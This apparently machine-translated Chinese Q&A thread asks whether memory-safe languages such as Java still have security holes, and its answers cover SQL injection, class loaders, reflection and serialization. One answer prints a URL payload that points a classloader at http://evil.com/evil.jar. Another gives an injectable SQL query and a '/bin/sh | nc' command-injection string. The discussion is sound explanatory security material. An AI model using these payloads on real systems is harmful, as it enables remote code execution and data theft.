安全漏洞采用“安全”语言

时间:2010-10-13 19:52:38

标签: java c++ c security exploit

我刚刚读完了为Secure Coding in C and C++工作的Brian Seacord的 CERT

总的来说,这是一本很好的书,我会推荐给任何尚未阅读它的程序员。在阅读之后,我发现对于所有各种类型的安全漏洞(例如漏洞利用代码注入,缓冲区溢出,整数溢出,字符串格式化漏洞等),每个安全漏洞似乎都归结为一件事:能够访问不受进程合法分配的缓冲区限制的内存地址。

注入恶意代码或重新路由程序逻辑的能力完全取决于是否能够访问外部合法分配的缓冲区的内存地址。但是在像Java这样的语言中,这根本不可能。最糟糕的情况是程序将以ArrayIndexOutOfBoundsException终止,从而导致拒绝服务。

那么在Java这样的“安全”语言中是否存在任何安全漏洞,无法进行无效的内存访问? (我在这里使用Java作为示例,但我真的很想知道任何防止无效内存访问的语言中的安全漏洞。)

12 个答案:

答案 0 :(得分:8)

当然,专注于C / C ++的书将关注最常见的漏洞利用。记忆技巧在堆栈上等等。

至于一个语言的“显而易见”的例子,有大量的安全空洞,没有任何直接的内存访问......如何使用PHP?除了通常的XSS,CSRF和SQL注入之外,您还可以在旧版本的PHP上进行远程代码注入,因为包含魔法等等。我确定有Java示例,但我不是Java安全专家......

但是由于Java安全专家确实存在,我确信有些情况你不得不担心。 (特别是,我确信SQL注入也困扰着天真的Web开发人员)。

编辑:在我的脑海中,Java确实通过ClassLoader动态加载了类。如果您出于某种原因编写自定义类加载器,并且您没有验证.class文件,那么您将打开程序以进行代码注入。如果这个自定义类加载器以某种方式从Internet读取类,那么也可以进行远程代码注入。虽然听起来很奇怪,但这很常见。考虑Eclipse及其插件框架。从字面上看,它是自动加载下载的代码然后运行它们。我承认,我不知道Eclipse的架构,但我敢打赌,安全性是Eclipse插件开发人员关心的问题。

答案 1 :(得分:6)

  

注入恶意代码或重新路由程序逻辑的能力完全取决于能否访问不属于合法分配的缓冲区的内存地址。

这让我觉得这是对恶意是什么和不是恶意的狭隘看法。例如,SQL注入(或实际上任何类型的注入)不需要缓冲区溢出,并且通常会将恶意代码注入您的系统。然而,这当然是可能的;例如,某些托管语言将允许其托管字符串类中间的NULL字符。有一些有趣的错误,其中字符串被传递到底层操作系统,其中API是C / C ++驱动的,因此在它找到的第一个\ 0处截断字符串,例如,这可能允许您在文件系统中漫游由于截断错误而随意。

然后是加密错误,信息泄漏以及各种其他有趣的安全错误,不涉及缓冲区...

答案 2 :(得分:5)

是。这已经发生more than once。仅仅因为一种语言使得无法对内存进行无效访问并不能自动保护您免受攻击。此外,还有整个“社交工程”的东西可以让用户运行恶意程序而不需要任何漏洞!

您可以做的最好的事情是让您的软件保持最新状态,使用可以减少错误的编程实践,一旦发现严重的错误就修复它们,并教育用户。

答案 3 :(得分:5)

这是一个有趣的安全漏洞,可能在Java系统中比在C ++系统中更有可能:

假设Web框架使用反射来设置来自url参数的对象字段

/update?a=1&b[2]=2&c.x=3&c.y=4
非常方便有力。 它允许遍历任何对象图...

当攻击者向其提供此类网址时

/update?class.classLoader.ucp.urls.elementData[0]=http://evil.com/evil.jar
游戏结束了。整个系统都在攻击者的控制之下。

请参阅http://seclists.org/fulldisclosure/2010/Jun/456

我不认为这只发生在春天。有很多Java系统可以将它们的肚子暴露给开放的世界。

答案 4 :(得分:3)

来自Sun自己的Secure Coding Guidelines for the Java Programming Language, Version 3.0

  

Java平台有其独特之处   一系列安全挑战。其中之一   主要设计考虑因素是   为...提供安全的环境   执行移动代码。而Java   安全架构可以保护   敌对的用户和系统   通过网络下载的程序,它   无法防范实施   受信任代码中出现的错误。这样   错误可能无意中打开了   安全架构的漏洞   旨在包含......

答案 5 :(得分:2)

未经检查的用户输入可能会导致很多安全漏洞:

 stmt.executeQuery("SELECT * FROM Users where userName='" + userName + "'");

如果userName未经过验证且来自外部来源,则有人可以轻松地将其userName提供为"john' or userName != '"。导致您的表格中的所有数据曝光。

Runtime.getRuntime().exec(command);

这里也是一样的。如果命令未经过验证且来自外部源,那么聪明的人就可以说 “/ bin / sh | nc -l 10000”等,在服务器上获得shell访问权限。或者注入一个利用本地安全漏洞的C源程序,并在服务器上编译并运行它。{/ p>

答案 6 :(得分:1)

因此,虚拟机实现就变成了查找漏洞所需要的东西。如果您认为锁定VM实现很容易,请阅读此动态脚本虚拟机漏洞的详细信息amazing account并考虑你是否真的可以保证不存在这样的漏洞。

答案 7 :(得分:1)

有大量的安全漏洞可以影响几乎任何语言 - 一些旧漏洞,一些新漏洞。

旧学校漏洞的一个例子是创建一个具有不安全权限的临时文件或在不安全的目录中 - 导致信息泄露或攻击者插入自己的信息。

SQL注入攻击已经存在了很长时间(即将未经验证的文本从用户传递到sql解析器中)。

XSS类型攻击相对较新,并且易于在任何服务器编程语言中创建。

答案 8 :(得分:1)

Java在内存利用中比C ++更安全(由于显式绑定检查内置语言)。这消除了缓冲区溢出漏洞的类别 但是java不是很安全 功能内置语言为程序员提供了便利,可用作恶意攻击的一部分。例如。使用反射程序可以找出类变量的值并修改它们(有多种方法可以覆盖安全管理器 - 至少我已阅读过了。)
序列化存在问题(检出RMI漏洞),并且有许多API程序员使用而不用担心会导致严重错误。例如。使用我们程序的类加载器加载“不可信”的API?库。

答案 9 :(得分:1)

许多编程安全漏洞可归类为特定于给定语言或框架的注入攻击。您已经专门阅读了C ++中的注入攻击,用户可以通过缓冲区溢出或字符串格式化漏洞注入代码。如果您将研究扩展到HTML,您会发现跨站点脚本(注入JS代码)和SQL注入(注入SQL查询)非常常见。看一下PHP,您会注意到命令级注入往往是一个常见的问题。

最终,每种语言和框架都存在问题。注意它们。当然,无论您使用何种语言,框架或操作系统,业务逻辑安全错误都将继续存在。例如,购物车允许以负总金额购买负数量的商品将是一个安全问题,仅仅是由于糟糕的编程技巧。

答案 10 :(得分:0)

Java程序不能轻而易举地运行。它是一个完整的平台,这个平台的程序员只是编程错误的人。虽然您的Java代码本身可能是安全的,但您需要平台来运行它,打开其他攻击媒介。

答案 11 :(得分:0)

我很失望,因为这个问题与Java有关,因为Java特别容易受到这种疏忽的影响:

在java 可见性是软件开发人员试图确保其代码安全的关键问题。特别是在可扩展框架的环境中,我经常运行“外来”代码,因此我不要过度使用我认为有效的信息。

如果我公开了一些事实上应该是私密的,我会引入一个潜在的漏洞。如果我传递对我正在使用的对象的引用而不是防御性副本,我可能会无意中暴露标准用户无法访问的数据。有时你希望用户有一个参考而不是一个副本,但如果这是一段幸存了一段时间的数据,你会想要考虑制作一份副本以确保你'从那时起就可以控制数据。

允许某人对我认为不可变的类中的成员数据字段的引用可能会导致有趣或奇怪的行为发生。在我完成有效性检查并对其进行消毒后,可以修改数据。